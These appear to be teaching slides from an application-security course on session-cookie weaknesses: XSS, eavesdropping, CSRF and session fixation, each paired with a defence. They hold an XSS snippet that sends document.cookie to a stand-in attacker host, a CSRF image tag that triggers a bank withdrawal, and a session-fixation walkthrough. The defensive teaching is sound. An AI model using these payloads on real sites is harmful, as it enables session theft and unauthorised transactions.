M183 Applikationssicherheit Implementieren # 10

By Jürg Nietlispach

Recap # 9?

Recap # 9

Issues with Cookeis / Sessions. They are vulnerable to the following Attacks

- XSS-Attacks
- Man in the Middle
- Cross Site Request Forgery (CSRF)
- Session Fixation

Cookies/Sessions identify a combination of browser, computer and user account – not a person

Issues with Session Cookies 1

Cookies are vulnerable to theft through XSS attacks:

```
<a href="#" onclick="window.location =
'http://attacker.com/stole.cgi?text=' + escape(document.cookie);
return false;">Click here!</a>
```

Solution?

Issues with Session Cookies 1

Solution: add the HttpOnly – Flag. The Cookie then cannot be accessed by client-side APIs, such as JavaScript.

Issues with Session Cookies 2

Cookies are vulnerable to eavesdropping (man in the middle):

Sololution?

Issues with Session Cookies 2

Solution: add the Secure – Flag. The Cookie is then sent only over HTTPS

Issues with Session Cookies 3

Cookies still remain vulnerable to cross-site tracing (XST) and cross-site request forgery (XSRF) attacks. XSRF-Attack-Example:

1. Bob might be browsing a chat forum where another user, Mallory, has posted a message.
2. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website

```
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
```

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

Solution?

Issues with Session Cookies 3

Solution: Identity confirmation using a CSRF-Token! Re-Authentication

Issues with Session Cookies 4

Session Fixation using Session Cookies:

1. Mallory visits http://vulnerable.example.com/ and checks which SID is returned. For example, the server may respond: Set-Cookie: SID=0D6441FEA4496C2.

2. Mallory is now able to send Alice an e-mail: "Check out this new cool feature on our bank, http://vulnerable.example.com/?SID=0D6441FEA4496C2.“

3. Alice logs on, with fixated session identifier SID=0D6441FEA4496C2.

4. Mallory visits http://vulnerable.example.com/?SID=0D6441FEA4496C2 and now has unlimited access to Alice's account.

Solution?

Issues with Session Cookies 4

Solutions:

- Regenerate Session Id on each request
- Identity confirmation with an CSRF-Token